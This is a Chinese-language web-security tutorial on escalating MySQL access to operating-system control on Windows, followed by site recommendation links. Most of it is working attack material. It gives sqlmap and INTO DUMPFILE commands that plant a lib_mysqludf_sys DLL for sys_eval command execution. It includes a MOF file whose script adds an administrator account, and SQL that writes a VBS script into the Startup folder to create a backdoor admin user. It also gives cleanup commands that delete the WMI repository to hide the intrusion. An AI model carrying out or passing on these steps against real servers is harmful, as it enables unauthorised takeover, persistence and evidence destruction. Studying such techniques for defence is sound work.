WEB安全--SQL注入--MySQL提权

一、UDF提权

1.1、UDF(user-defined function)

用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

1.2、什么情况下需使用mysql提权?

拥有mysql的权限,但是没拿到mysql所在服务器的任何权限,通过mysql提权,将mysql权限提升到操作系统权限

1.3、条件

1、知道mysql用户名和密码,并且可以远程登录(即获取了mysql数据库的权限)

2、secure_file_priv的值为空

1.4、方式

1、创建/lib/plugin目录

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.1:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

并且目前绝大多数项目的数据库版本都大于5.1,所以我们以第一种方式来模拟:

php 复制代码
#NTFS ADS流创建语句

mysql> select 'x' into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin::$INDEX_ALLOCATION';  

#创建不一定成功,不成功的情况下还是利用webshell的权限创建目录

2、导入动态链接库

那么这个dll文件在哪了?这两个文件在sqlmap和msf里面都有内置。

首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

解码命令:

python 复制代码
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

存在sql注入时我们可以通过sqlmap来上传动态链接库

python 复制代码
python sqlmap.py -u "http://192.168.178.130/sqli-labs/Less-1/?id=1" 
--file-write="d:/tools/sqlmap/extra/cloak/lib_mysqludf_sys_64.dll" 
--file-dest="C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll"

没有sql注入时,我们可以通过执行sql语句INTO DUMPFILE来进行写入动态链接库

python 复制代码
#select后面为动态链接库的十六进制编码(数据太长,这里省略显示)
SELECT 0x4d5a900003... INTO DUMPFILE 
'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys_64.dll'; 

动态链接库的十六进制可以通过mysql自带的hex函数或者一些文件十六进制编码器工具解决。当然在sql语句写不进去的动态链接库的时候,我们还可以通过我们的webshell来进行上传。

3、创建自定义函数

sql 复制代码
#原本执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
#修改后执行代码
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

4、执行系统命令

sql 复制代码
#创建成功后,我们利用自定义函数进行命令执行
mysql > select sys_eval('whoami');


//output
administrator

二、MOF提权

2.1、原理

mof文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

但是现在通过mof文件来进行提权已经非常困难了,因为它支持提权版本只有2003和一些之前的版本。

2.2、vbs脚本

sql 复制代码
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user suifeng p@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators suifeng /add\")";   #创建用户
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

2.3、上传脚本到指定目录

sql 复制代码
select load_file("C:/Documents and Settings/suifeng.mof") 
into dumpfile "c:/windows/system32/wbem/mof/suifeng.mof";

2.4、mof提权痕迹清理

因为每隔5秒钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件:

sql 复制代码
#停止winmgmt服务
net stop winmgmt
#删除Repository文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
#重新启动服务
net start winmgmt

三、启动项提权

3.1、原理

通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。

3.2、利用方式

启动项路径:

sql 复制代码
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

有了路径我们在mysql的shell下输入如下代码:

sql 复制代码
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " ); 
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " ); 
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

然后重启,即可发现vbs脚本里面创建的用户:

相关推荐
Doris Liu.5 小时前
如何检测代码注入(Part 2)
windows·python·安全·网络安全·网络攻击模型
秋说7 小时前
【区块链安全 | 第八篇】多签机制及恶意多签
安全·区块链
68岁扶墙肾透8 小时前
Java安全-FastJson反序列化分析
java·安全·web安全·网络安全·网络攻击模型·安全架构·fastjson
nington0111 小时前
为Splunk登录开启OTP二次验证,增强访问安全
安全
智联视频超融合平台13 小时前
视频联网平台智慧运维系统:智能时代的城市视觉中枢
运维·网络协议·安全·音视频·智慧城市·视频编解码
cainiao08060514 小时前
脑机交互安全:如何防止恶意脑电波指令注入
安全
XMYX-014 小时前
如何加强 SSH 安全:内网和专用网络环境下的防护策略
网络·安全·ssh
神经毒素15 小时前
WEB安全--SQL注入--无列名注入
sql·安全·web安全
网络安全宇哥15 小时前
零基础被迫参加CTF比赛?CTF高频解题技巧与经验分享
经验分享·安全·web安全·安全架构·waf
秋说15 小时前
【区块链安全 | 第十七篇】类型之引用类型(一)
安全·区块链